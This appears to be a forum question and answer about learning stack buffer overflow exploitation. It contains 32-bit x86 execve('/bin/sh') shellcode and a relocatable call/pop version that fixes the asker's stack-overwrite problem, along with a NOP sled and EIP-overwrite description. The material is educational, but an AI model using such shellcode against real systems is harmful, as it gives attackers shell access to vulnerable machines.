I am trying to learn how to do a basic buffer overflow attack. I have working assembly and correct shellcode (no null bytes or references to other data). The assembly is as follows:
;clear out registers
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
;execve("//bin/sh",NULL,NULL)
mov al, 11
;ascii for //bin/sh
;2f 2f 62 69 6e 2f 73 68
; push null bytes on to stack
push bx
push 0x68732f6e
push 0x69622f2f
;set ebx to //bin/sh
mov ebx, esp
;call execve
int 0x80
When I run the assembly by itself, it works fine. and when I construct the shell code from it, using a nop sled and the correct address, I a able to overwrite eip and get it to start executing my assembly.
The problem is that, since my instructions are stored on the stack ( in a 64 byte buffer) the second push instruction overwrites the final instruction in my code. So int 0x80
is never executed because it is replaced with 2f2f. Can anyone tell me how I might work around or fix that problem?
Try with relocatable code and data. This last thing is acomplished by figuring out what address our code is in, like this:
call next ;push address of next instruction to stack.
nop ;this is to avoid offset in CALL instruction to be 0.
next: pop ebx ;EBX holds this very same code address
xor ecx,ecx
mov cl,exename-next ;ECX is offset to exename
add ebx,ecx ;now EBX points to exename
xor eax,eax
xor ecx,ecx
xor edx,edx
mov al,11
int 80h
exename: db "/bin/sh",0
The CALL
instruction is a CALL NEAR
one actually, so it uses an offset, not an absolute address and hence, is relocatable. This code uses only 4 bytes of stack instead of 12.